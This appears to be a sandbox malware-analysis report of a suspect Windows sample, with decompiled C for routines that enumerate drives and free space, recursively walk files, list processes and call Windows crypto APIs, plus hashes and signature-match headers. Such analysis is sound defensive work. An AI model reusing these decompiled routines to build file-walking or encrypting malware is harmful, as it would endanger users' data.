                                                                                  control_flow_graph 288 b63f3c-b63f50 289 b63f51-b63f53 288->289 290 b63f55-b63f57 289->290 291 b63f7b-b63f8f 289->291 294 b63f5d-b63f6e call b63c1e 290->294 295 b6400b-b6400e 290->295 292 b63f91-b63f97 291->292 293 b63ffd-b64004 291->293 296 b63f99-b63faf GetDriveTypeW call b664df 292->296 297 b64006 293->297 298 b64011-b64019 293->298 294->295 302 b63f74-b63f79 294->302 295->298 304 b63fb1-b63fb3 296->304 305 b63fe9-b63ff9 296->305 297->289 302->291 306 b63fe5-b63fe6 304->306 307 b63fb5-b63fd8 GetDiskFreeSpaceExW 304->307 305->296 308 b63ffb-b63ffc 305->308 306->305 307->306 309 b63fda-b63fe2 307->309 308->293 309->306
                                                                                  C-Code - Quality: 100%
                                                                                  			E00B63F3C(signed int* _a4) {
                                                                                  				signed int _v8;
                                                                                  				int _v12;
                                                                                  				intOrPtr _v16;
                                                                                  				short _v20;
                                                                                  				union _ULARGE_INTEGER _v28;
                                                                                  				intOrPtr _t23;
                                                                                  				int _t31;
                                                                                  				short _t34;
                                                                                  				long _t40;
                                                                                  				void* _t41;
                                                                                  				short _t42;
                                                                                  				void* _t45;
                                                                                  				signed int _t46;
                                                                                  				void* _t47;
                                                                                  				union _ULARGE_INTEGER* _t49;
                                                                                  				signed int _t50;
                                                                                  
                                                                                  				_t46 = 0;
                                                                                  				_t50 = 0;
                                                                                  				_v8 = 0;
                                                                                  				_t41 = 0;
                                                                                  				_t47 = 0x5a;
                                                                                  				L1:
                                                                                  				while(1) {
                                                                                  					if(_t41 == 0) {
                                                                                  						L5:
                                                                                  						_t42 =  *0xb6c010; // 0x3a0041
                                                                                  						_t23 =  *0xb6c014; // 0x5c
                                                                                  						_v20 = _t42;
                                                                                  						_v16 = _t23;
                                                                                  						if(_t42 > _t47) {
                                                                                  							L14:
                                                                                  							_t46 = _v8;
                                                                                  							_t41 = _t41 + 1;
                                                                                  							if(_t41 > 1) {
                                                                                  								L17:
                                                                                  								return _t46;
                                                                                  							}
                                                                                  							continue;
                                                                                  						}
                                                                                  						_t6 = _t46 + 0xe; // 0xe
                                                                                  						_t49 = _t6 + _t50 * 0x16;
                                                                                  						do {
                                                                                  							_t31 = GetDriveTypeW( &_v20); // executed
                                                                                  							_v12 = _t31;
                                                                                  							if(E00B664DF(_t31) != 0) {
                                                                                  								if(_t41 != 0) {
                                                                                  									 *((short*)(_t49 - 0xe)) = _v20;
                                                                                  									 *(_t49 - 0xc) = _v12;
                                                                                  									_t13 = _t49 - 8; // 0x6
                                                                                  									_t40 = GetDiskFreeSpaceExW( &_v20,  &_v28, _t13, _t49); // executed
                                                                                  									if(_t40 == 0) {
                                                                                  										_t49->LowPart = _t40;
                                                                                  										_t49->LowPart.HighPart = _t40;
                                                                                  										 *(_t49 - 8) = _t40;
                                                                                  										 *(_t49 - 4) = _t40;
                                                                                  									}
                                                                                  								}
                                                                                  								_t50 = _t50 + 1;
                                                                                  								_t49 = _t49 + 0x16;
                                                                                  							}
                                                                                  							_t34 = _v20 + 1;
                                                                                  							_t45 = 0x5a;
                                                                                  							_v20 = _t34;
                                                                                  						} while (_t34 <= _t45);
                                                                                  						_t47 = _t45;
                                                                                  						goto L14;
                                                                                  					}
                                                                                  					if(_t50 == 0) {
                                                                                  						L16:
                                                                                  						 *_a4 =  *_a4 & 0x00000000;
                                                                                  						goto L17;
                                                                                  					}
                                                                                  					_t46 = E00B63C1E(_t50 * 0x16);
                                                                                  					_v8 = _t46;
                                                                                  					if(_t46 == 0) {
                                                                                  						goto L16;
                                                                                  					}
                                                                                  					 *_a4 = _t50;
                                                                                  					_t50 = 0;
                                                                                  					goto L5;
                                                                                  				}
                                                                                  			}



















                                                                                  0x00b63f45
                                                                                  0x00b63f47
                                                                                  0x00b63f4b
                                                                                  0x00b63f4e
                                                                                  0x00b63f50
                                                                                  0x00000000
                                                                                  0x00b63f51
                                                                                  0x00b63f53
                                                                                  0x00b63f7b
                                                                                  0x00b63f7b
                                                                                  0x00b63f81
                                                                                  0x00b63f86
                                                                                  0x00b63f89
                                                                                  0x00b63f8f
                                                                                  0x00b63ffd
                                                                                  0x00b63ffd
                                                                                  0x00b64000
                                                                                  0x00b64004
                                                                                  0x00b64013
                                                                                  0x00b64019
                                                                                  0x00b64019
                                                                                  0x00000000
                                                                                  0x00b64006
                                                                                  0x00b63f94
                                                                                  0x00b63f97
                                                                                  0x00b63f99
                                                                                  0x00b63f9d
                                                                                  0x00b63fa4
                                                                                  0x00b63faf
                                                                                  0x00b63fb3
                                                                                  0x00b63fb9
                                                                                  0x00b63fc0
                                                                                  0x00b63fc3
                                                                                  0x00b63fd0
                                                                                  0x00b63fd8
                                                                                  0x00b63fda
                                                                                  0x00b63fdc
                                                                                  0x00b63fdf
                                                                                  0x00b63fe2
                                                                                  0x00b63fe2
                                                                                  0x00b63fd8
                                                                                  0x00b63fe5
                                                                                  0x00b63fe6
                                                                                  0x00b63fe6
                                                                                  0x00b63fef
                                                                                  0x00b63ff1
                                                                                  0x00b63ff2
                                                                                  0x00b63ff6
                                                                                  0x00b63ffc
                                                                                  0x00000000
                                                                                  0x00b63ffc
                                                                                  0x00b63f57
                                                                                  0x00b6400b
                                                                                  0x00b6400e
                                                                                  0x00000000
                                                                                  0x00b6400e
                                                                                  0x00b63f66
                                                                                  0x00b63f68
                                                                                  0x00b63f6e
                                                                                  0x00000000
                                                                                  0x00000000
                                                                                  0x00b63f77
                                                                                  0x00b63f79
                                                                                  0x00000000
                                                                                  0x00b63f79

                                                                                  APIs
                                                                                  • GetDriveTypeW.KERNEL32(?,00000001,00000000,00B7C040,?,?,?,?,00B61970,?), ref: 00B63F9D
                                                                                  • GetDiskFreeSpaceExW.KERNEL32(?,?,00000006,0000000E,?,?,?,?,00B61970,?), ref: 00B63FD0
                                                                                  Strings
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: DiskDriveFreeSpaceType
                                                                                  • String ID: A:\
                                                                                  • API String ID: 1419299958-3379428675
                                                                                  • Opcode ID: 262ffa2b25be364cadb3b644d8dbc5def2b23bb68eb619acc4bca216c86452e7
                                                                                  • Instruction ID: 791a8725501bf6300dece68ce599abb993b53e7e24fdd9643317f2327292afda
                                                                                  • Opcode Fuzzy Hash: 262ffa2b25be364cadb3b644d8dbc5def2b23bb68eb619acc4bca216c86452e7
                                                                                  • Instruction Fuzzy Hash: 6C215376D0431AAFD714DFA9D844AAFBBF8FF44710F14856AE905D7200DB349A418B90
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  Control-flow Graph

                                                                                  • Executed
                                                                                  • Not Executed
                                                                                  control_flow_graph 317 b66299-b662c4 call b6272e 319 b66476-b66479 317->319 320 b662ca-b662d9 call b6658b call b62712 317->320 322 b6647f 319->322 323 b662ea-b662f0 319->323 334 b662dc-b662e5 320->334 325 b66495-b66497 322->325 326 b662f2-b66326 call b6515c call b63c6b * 2 323->326 327 b66331-b66333 323->327 329 b66481-b66494 call b63c6b * 2 325->329 330 b66499-b6649f 325->330 348 b6632b-b66330 326->348 349 b66328 326->349 327->325 331 b66339-b66365 call b65205 call b65098 FindFirstFileW 327->331 329->325 331->319 347 b6636b-b66380 call b650fb 331->347 339 b66473 334->339 339->319 352 b66386-b6639b call b650fb 347->352 353 b6644d-b66450 347->353 348->327 349->348 352->353 358 b663a1-b663ab 352->358 355 b66452-b66464 FindNextFileW 353->355 356 b6646a-b6646d FindClose 353->356 355->347 355->356 356->339 358->353 359 b663b1-b663cd call b6515c 358->359 362 b6640f-b66430 359->362 363 b663cf-b663ea call b65098 call b6272e 359->363 362->353 367 b66432-b66441 call b62ead 362->367 363->353 370 b663ec-b66401 call b6658b call b62712 363->370 369 b66444-b6644a 367->369 369->353 373 b66404-b6640d 370->373 373->353
                                                                                  C-Code - Quality: 77%
                                                                                  			E00B66299(WCHAR* _a4, void* _a8) {
                                                                                  				signed int _v8;
                                                                                  				signed int _v12;
                                                                                  				signed int _v16;
                                                                                  				char _v20;
                                                                                  				signed int _v24;
                                                                                  				intOrPtr _v28;
                                                                                  				struct _WIN32_FIND_DATAW _v620;
                                                                                  				int _t66;
                                                                                  				signed int _t68;
                                                                                  				signed int _t72;
                                                                                  				int _t74;
                                                                                  				signed int _t76;
                                                                                  				intOrPtr _t81;
                                                                                  				signed int _t83;
                                                                                  				void* _t85;
                                                                                  				signed int _t88;
                                                                                  				void* _t92;
                                                                                  				signed int _t97;
                                                                                  				signed int _t98;
                                                                                  				intOrPtr* _t102;
                                                                                  				intOrPtr _t103;
                                                                                  				signed int _t110;
                                                                                  				signed int* _t117;
                                                                                  				WCHAR* _t118;
                                                                                  				intOrPtr* _t119;
                                                                                  				intOrPtr* _t120;
                                                                                  				intOrPtr* _t121;
                                                                                  
                                                                                  				_t118 = _a4;
                                                                                  				_t117 = _a8;
                                                                                  				_t102 = 0;
                                                                                  				_v16 = 0;
                                                                                  				_v20 = 0;
                                                                                  				_v12 = 0;
                                                                                  				_v8 = 0;
                                                                                  				_t117[1](_t118, 0);
                                                                                  				if(0 == 0) {
                                                                                  					goto L20;
                                                                                  				} else {
                                                                                  					E00B6658B( &_v20, _t118);
                                                                                  					_t9 =  &(_t117[3]); // 0x9777af8, executed
                                                                                  					_t66 = _t117[0xa]( *_t9, _t118, 0);
                                                                                  					_t121 = _t121 + 0x14;
                                                                                  					_t117[6] = _t117[6] + _t66;
                                                                                  					asm("adc [edi+0x1c], edx");
                                                                                  					L19:
                                                                                  					_t102 = _v20;
                                                                                  					L20:
                                                                                  					while( *_t117 == 0) {
                                                                                  						_t66 = _v12 | _v8;
                                                                                  						__eflags = _t66;
                                                                                  						if(_t66 != 0) {
                                                                                  							E00B6515C(_t118,  *_t102);
                                                                                  							_t120 = _t102;
                                                                                  							_t102 =  *((intOrPtr*)(_t102 + 4));
                                                                                  							_v20 = _t102;
                                                                                  							E00B63C6B( *_t120);
                                                                                  							E00B63C6B(_t120);
                                                                                  							_t121 = _t121 + 0x10;
                                                                                  							_t110 = _v8;
                                                                                  							_t97 = _v12 + 0xffffffff;
                                                                                  							_v12 = _t97;
                                                                                  							asm("adc ecx, 0xffffffff");
                                                                                  							_t98 = _t97 | _t110;
                                                                                  							__eflags = _t98;
                                                                                  							_v8 = _t110;
                                                                                  							if(_t98 == 0) {
                                                                                  								_t21 =  &_v16;
                                                                                  								 *_t21 = _v16 & _t98;
                                                                                  								__eflags =  *_t21;
                                                                                  							}
                                                                                  							_t118 = _a4;
                                                                                  							_t66 = 1;
                                                                                  							__eflags = 1;
                                                                                  						}
                                                                                  						__eflags = _t66;
                                                                                  						if(_t66 == 0) {
                                                                                  							L23:
                                                                                  							while(_t102 != 0) {
                                                                                  								_t119 = _t102;
                                                                                  								_t102 =  *((intOrPtr*)(_t102 + 4));
                                                                                  								E00B63C6B( *_t119);
                                                                                  								_t66 = E00B63C6B(_t119);
                                                                                  							}
                                                                                  							return _t66;
                                                                                  						}
                                                                                  						_t68 = E00B65205(_t118);
                                                                                  						 *_t121 = 0xb6c138;
                                                                                  						_push(_t118);
                                                                                  						_v24 = _t68;
                                                                                  						E00B65098(__eflags);
                                                                                  						_t66 = FindFirstFileW(_t118,  &_v620); // executed
                                                                                  						_a8 = _t66;
                                                                                  						__eflags = _t66 - 0xffffffff;
                                                                                  						if(_t66 == 0xffffffff) {
                                                                                  							continue;
                                                                                  						} else {
                                                                                  							goto L8;
                                                                                  						}
                                                                                  						while(1) {
                                                                                  							L8:
                                                                                  							_t72 = E00B650FB( &(_v620.cFileName), 0xb6c00c);
                                                                                  							__eflags = _t72;
                                                                                  							if(_t72 != 0) {
                                                                                  								_t76 = E00B650FB( &(_v620.cFileName), 0xb6c130);
                                                                                  								__eflags = _t76;
                                                                                  								if(_t76 != 0) {
                                                                                  									__eflags = _v620.dwFileAttributes & 0x00000400;
                                                                                  									if((_v620.dwFileAttributes & 0x00000400) == 0) {
                                                                                  										E00B6515C( &(_t118[_v24]),  &(_v620.cFileName));
                                                                                  										__eflags = _v620.dwFileAttributes & 0x00000010;
                                                                                  										if(__eflags == 0) {
                                                                                  											_t81 = _v620.nFileSizeHigh;
                                                                                  											_t103 = _v620.nFileSizeLow;
                                                                                  											_v28 = _t81;
                                                                                  											_t83 = _t117[2](_t118,  &(_v620.cFileName), _t103, _t81);
                                                                                  											_t121 = _t121 + 0x10;
                                                                                  											__eflags = _t83;
                                                                                  											if(_t83 != 0) {
                                                                                  												_t54 =  &(_t117[4]); // 0xffdf25, executed
                                                                                  												_t85 = _t117[0xb]( *_t54, _t118,  &(_v620.cFileName), _t103, _v28);
                                                                                  												_t121 = _t121 + 0x14;
                                                                                  												_t117[8] = _t117[8] + _t85;
                                                                                  												asm("adc [edi+0x24], edx");
                                                                                  											}
                                                                                  										} else {
                                                                                  											E00B65098(__eflags, _t118, 0xb6c13c);
                                                                                  											_t88 = _t117[1](_t118,  &(_v620.cFileName));
                                                                                  											_t121 = _t121 + 0x10;
                                                                                  											__eflags = _t88;
                                                                                  											if(_t88 != 0) {
                                                                                  												E00B6658B( &_v20, _t118);
                                                                                  												_t43 =  &(_t117[3]); // 0x9777af8, executed
                                                                                  												_t92 = _t117[0xa]( *_t43, _t118,  &(_v620.cFileName));
                                                                                  												_t121 = _t121 + 0x14;
                                                                                  												_t117[6] = _t117[6] + _t92;
                                                                                  												asm("adc [edi+0x1c], edx");
                                                                                  											}
                                                                                  										}
                                                                                  									}
                                                                                  								}
                                                                                  							}
                                                                                  							__eflags =  *_t117;
                                                                                  							if( *_t117 != 0) {
                                                                                  								break;
                                                                                  							}
                                                                                  							_t74 = FindNextFileW(_a8,  &_v620); // executed
                                                                                  							__eflags = _t74;
                                                                                  							if(_t74 != 0) {
                                                                                  								continue;
                                                                                  							}
                                                                                  							break;
                                                                                  						}
                                                                                  						_t66 = FindClose(_a8);
                                                                                  						goto L19;
                                                                                  					}
                                                                                  					goto L23;
                                                                                  				}
                                                                                  			}






























                                                                                  0x00b662a4
                                                                                  0x00b662aa
                                                                                  0x00b662ad
                                                                                  0x00b662b1
                                                                                  0x00b662b4
                                                                                  0x00b662b7
                                                                                  0x00b662ba
                                                                                  0x00b662bd
                                                                                  0x00b662c4
                                                                                  0x00000000
                                                                                  0x00b662ca
                                                                                  0x00b662cf
                                                                                  0x00b662d6
                                                                                  0x00b662d9
                                                                                  0x00b662dc
                                                                                  0x00b662df
                                                                                  0x00b662e2
                                                                                  0x00b66473
                                                                                  0x00b66473
                                                                                  0x00000000
                                                                                  0x00b66476
                                                                                  0x00b662ed
                                                                                  0x00b662ed
                                                                                  0x00b662f0
                                                                                  0x00b662f5
                                                                                  0x00b662fa
                                                                                  0x00b662fc
                                                                                  0x00b662ff
                                                                                  0x00b66304
                                                                                  0x00b6630a
                                                                                  0x00b66312
                                                                                  0x00b66315
                                                                                  0x00b66318
                                                                                  0x00b6631b
                                                                                  0x00b6631e
                                                                                  0x00b66321
                                                                                  0x00b66321
                                                                                  0x00b66323
                                                                                  0x00b66326
                                                                                  0x00b66328
                                                                                  0x00b66328
                                                                                  0x00b66328
                                                                                  0x00b66328
                                                                                  0x00b6632b
                                                                                  0x00b66330
                                                                                  0x00b66330
                                                                                  0x00b66330
                                                                                  0x00b66331
                                                                                  0x00b66333
                                                                                  0x00000000
                                                                                  0x00b66495
                                                                                  0x00b66481
                                                                                  0x00b66483
                                                                                  0x00b66488
                                                                                  0x00b6648e
                                                                                  0x00b66494
                                                                                  0x00b6649f
                                                                                  0x00b6649f
                                                                                  0x00b6633a
                                                                                  0x00b6633f
                                                                                  0x00b66346
                                                                                  0x00b66347
                                                                                  0x00b6634a
                                                                                  0x00b66359
                                                                                  0x00b6635f
                                                                                  0x00b66362
                                                                                  0x00b66365
                                                                                  0x00000000
                                                                                  0x00000000
                                                                                  0x00000000
                                                                                  0x00000000
                                                                                  0x00b6636b
                                                                                  0x00b6636b
                                                                                  0x00b66377
                                                                                  0x00b6637e
                                                                                  0x00b66380
                                                                                  0x00b66392
                                                                                  0x00b66399
                                                                                  0x00b6639b
                                                                                  0x00b663a1
                                                                                  0x00b663ab
                                                                                  0x00b663bf
                                                                                  0x00b663c4
                                                                                  0x00b663cd
                                                                                  0x00b6640f
                                                                                  0x00b66415
                                                                                  0x00b6641c
                                                                                  0x00b66428
                                                                                  0x00b6642b
                                                                                  0x00b6642e
                                                                                  0x00b66430
                                                                                  0x00b6643e
                                                                                  0x00b66441
                                                                                  0x00b66444
                                                                                  0x00b66447
                                                                                  0x00b6644a
                                                                                  0x00b6644a
                                                                                  0x00b663cf
                                                                                  0x00b663d5
                                                                                  0x00b663e2
                                                                                  0x00b663e5
                                                                                  0x00b663e8
                                                                                  0x00b663ea
                                                                                  0x00b663f1
                                                                                  0x00b663fe
                                                                                  0x00b66401
                                                                                  0x00b66404
                                                                                  0x00b66407
                                                                                  0x00b6640a
                                                                                  0x00b6640a
                                                                                  0x00b663ea
                                                                                  0x00b663cd
                                                                                  0x00b663ab
                                                                                  0x00b6639b
                                                                                  0x00b6644d
                                                                                  0x00b66450
                                                                                  0x00000000
                                                                                  0x00000000
                                                                                  0x00b6645c
                                                                                  0x00b66462
                                                                                  0x00b66464
                                                                                  0x00000000
                                                                                  0x00000000
                                                                                  0x00000000
                                                                                  0x00b66464
                                                                                  0x00b6646d
                                                                                  0x00000000
                                                                                  0x00b6646d
                                                                                  0x00000000
                                                                                  0x00b6647f

                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID:
                                                                                  • String ID:
                                                                                  • API String ID:
                                                                                  • Opcode ID: 69f904e720ff691f4a17b3bd61f29bf97a3155f6e9e6219444aa6d5f71501d84
                                                                                  • Instruction ID: 259cf669c04a6d5ed4d64794418f4522d5d5fb13afa12ab06e8ca75931f4c037
                                                                                  • Opcode Fuzzy Hash: 69f904e720ff691f4a17b3bd61f29bf97a3155f6e9e6219444aa6d5f71501d84
                                                                                  • Instruction Fuzzy Hash: DA517571900619AFDB10AF65DC45AAEBBFCFF05324F1042A6F918E2251EB389E50CF94
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  Control-flow Graph

                                                                                  • Executed
                                                                                  • Not Executed
                                                                                  control_flow_graph 379 b64668-b64683 CreateToolhelp32Snapshot 380 b64685-b64687 379->380 381 b64689-b646a1 Process32FirstW 379->381 382 b646d9-b646de 380->382 383 b646cc-b646ce 381->383 384 b646a3-b646b6 383->384 385 b646d0-b646d1 call b63db7 383->385 389 b646be-b646c6 Process32NextW 384->389 390 b646b8-b646bc 384->390 387 b646d6-b646d7 385->387 387->382 389->383 390->385 390->389
                                                                                  C-Code - Quality: 75%
                                                                                  			E00B64668(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
                                                                                  				void* _v560;
                                                                                  				void* _t8;
                                                                                  				struct tagPROCESSENTRY32W* _t9;
                                                                                  				int _t19;
                                                                                  				void* _t20;
                                                                                  
                                                                                  				_t19 = 0;
                                                                                  				_t8 = CreateToolhelp32Snapshot(2, 0); // executed
                                                                                  				_t20 = _t8;
                                                                                  				if(_t20 != 0xffffffff) {
                                                                                  					_t9 =  &_v560;
                                                                                  					_v560 = 0x22c;
                                                                                  					Process32FirstW(_t20, _t9); // executed
                                                                                  					while(_t9 != 0) {
                                                                                  						_t19 = _a12(_a8,  &_v560);
                                                                                  						if(_t19 == 0 || _a4 == 0) {
                                                                                  							_t9 = Process32NextW(_t20,  &_v560); // executed
                                                                                  							continue;
                                                                                  						} else {
                                                                                  							break;
                                                                                  						}
                                                                                  					}
                                                                                  					E00B63DB7(_t20); // executed
                                                                                  					return _t19;
                                                                                  				}
                                                                                  				return 0;
                                                                                  			}








                                                                                  0x00b64673
                                                                                  0x00b64678
                                                                                  0x00b6467e
                                                                                  0x00b64683
                                                                                  0x00b64689
                                                                                  0x00b6468f
                                                                                  0x00b6469b
                                                                                  0x00b646cc
                                                                                  0x00b646b0
                                                                                  0x00b646b6
                                                                                  0x00b646c6
                                                                                  0x00000000
                                                                                  0x00000000
                                                                                  0x00000000
                                                                                  0x00000000
                                                                                  0x00b646b6
                                                                                  0x00b646d1
                                                                                  0x00000000
                                                                                  0x00b646d7
                                                                                  0x00000000

                                                                                  APIs
                                                                                  • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00B64678
                                                                                  • Process32FirstW.KERNEL32(00000000,?), ref: 00B6469B
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: CreateFirstProcess32SnapshotToolhelp32
                                                                                  • String ID:
                                                                                  • API String ID: 2353314856-0
                                                                                  • Opcode ID: 8501780972e216e92b17f7a3fa218cb420a62a0d56a7b8de12e39890778166d8
                                                                                  • Instruction ID: 202a35f352f398693ee9a58e3512d309121d6783cb1368aaa7620ec8d4d1c540
                                                                                  • Opcode Fuzzy Hash: 8501780972e216e92b17f7a3fa218cb420a62a0d56a7b8de12e39890778166d8
                                                                                  • Instruction Fuzzy Hash: AF018635505518BFD7209A75FC0DAAF7BECDB4A321F2041E9FC19D2180DB348A548AA1
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  APIs
                                                                                  • CryptStringToBinaryW.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00B64D18
                                                                                    • Part of subcall function 00B63C1E: HeapCreate.KERNEL32(00000000,00100000,00000000,?,00B61AA2,?,?,00B61AD1), ref: 00B63C33
                                                                                    • Part of subcall function 00B63C1E: GetProcessHeap.KERNEL32(?,00B61AA2,?,?,00B61AD1), ref: 00B63C42
                                                                                  • CryptStringToBinaryW.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00B64D3F
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: BinaryCryptHeapString$CreateProcess
                                                                                  • String ID:
                                                                                  • API String ID: 869147093-0
                                                                                  • Opcode ID: 645f14ac31a5997cd00052ab2f19a61a01bf165770ac788c56fba57502ca5512
                                                                                  • Instruction ID: 1b47dece3cb42d7eeb13432d1e5afda4fd70720df8b364afce401ece19ac58ff
                                                                                  • Opcode Fuzzy Hash: 645f14ac31a5997cd00052ab2f19a61a01bf165770ac788c56fba57502ca5512
                                                                                  • Instruction Fuzzy Hash: F9F03CB160061EBFEB105E55DCC0DAB7BACEF05BA9B144179F918EB150DB75CE4087A0
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  C-Code - Quality: 54%
                                                                                  			E00B646DF(void* __edx, int _a4, intOrPtr _a8) {
                                                                                  				BYTE* _v0;
                                                                                  				void* _t7;
                                                                                  				signed int _t11;
                                                                                  				void* _t14;
                                                                                  
                                                                                  				_t7 = E00B64A62(_a4, _a8); // executed
                                                                                  				if(_t7 == 0) {
                                                                                  					if(E00B64750(__edx, _a4, _a8) != 0) {
                                                                                  						goto L1;
                                                                                  					} else {
                                                                                  						_pop(_t21);
                                                                                  						if( *0xb7d4a4 != 0) {
                                                                                  							L8:
                                                                                  							_t11 = CryptGenRandom( *0xb7d4a0, _a4, _v0);
                                                                                  							asm("sbb eax, eax");
                                                                                  							return  ~( ~_t11);
                                                                                  						} else {
                                                                                  							_t14 =  *0xb7ca5c(0xb7d4a0, 0, 0, 1, 0xf0000000);
                                                                                  							if(_t14 != 0) {
                                                                                  								 *0xb7d4a4 = 1;
                                                                                  								goto L8;
                                                                                  							} else {
                                                                                  								return _t14;
                                                                                  							}
                                                                                  						}
                                                                                  					}
                                                                                  				} else {
                                                                                  					L1:
                                                                                  					return 1;
                                                                                  				}
                                                                                  			}







                                                                                  0x00b646e8
                                                                                  0x00b646f1
                                                                                  0x00b64707
                                                                                  0x00000000
                                                                                  0x00b64709
                                                                                  0x00b64709
                                                                                  0x00b64912
                                                                                  0x00b6493a
                                                                                  0x00b64946
                                                                                  0x00b6494e
                                                                                  0x00b64953
                                                                                  0x00b64914
                                                                                  0x00b64924
                                                                                  0x00b6492c
                                                                                  0x00b64930
                                                                                  0x00000000
                                                                                  0x00b6492f
                                                                                  0x00b6492f
                                                                                  0x00b6492f
                                                                                  0x00b6492c
                                                                                  0x00b64912
                                                                                  0x00b646f3
                                                                                  0x00b646f3
                                                                                  0x00b646f7
                                                                                  0x00b646f7

                                                                                  APIs
                                                                                  • CryptAcquireContextW.ADVAPI32(00B7D4A0,00000000,00000000,00000001,F0000000,?,00B65948,?,00000030,00000000,?,?,00B65784,?,00000020,00000000), ref: 00B64924
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: AcquireContextCrypt
                                                                                  • String ID:
                                                                                  • API String ID: 3951991833-0
                                                                                  • Opcode ID: 079dc8b5e860af8669894ecd6da32b20368ca53d72ef7a3696f35a302d2f6eb0
                                                                                  • Instruction ID: 85fd2c4c97a83aadccb2a1dcc85c9ca2ef8a9b39175074215d4c977b47fbc13c
                                                                                  • Opcode Fuzzy Hash: 079dc8b5e860af8669894ecd6da32b20368ca53d72ef7a3696f35a302d2f6eb0
                                                                                  • Instruction Fuzzy Hash: 05F0283218860EBEDF102F61FC01B653BE9EF41774F108094F50C985E0DF72A4909644
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  C-Code - Quality: 100%
                                                                                  			E00B63C1E(intOrPtr _a4) {
                                                                                  				void* _t3;
                                                                                  
                                                                                  				if( *0xb7d498 != 0) {
                                                                                  					_t2 =  *0xb7d494; // 0x2fa0000
                                                                                  				} else {
                                                                                  					_t2 = HeapCreate(0, 0x100000, 0); // executed
                                                                                  					 *0xb7d494 = _t2;
                                                                                  					if(_t2 == 0) {
                                                                                  						 *0xb7d494 = GetProcessHeap();
                                                                                  					}
                                                                                  					 *0xb7d498 = 1;
                                                                                  				}
                                                                                  				_t3 = E00B63BC0(_t2, _a4); // executed
                                                                                  				return _t3;
                                                                                  			}




                                                                                  0x00b63c28
                                                                                  0x00b63c59
                                                                                  0x00b63c2a
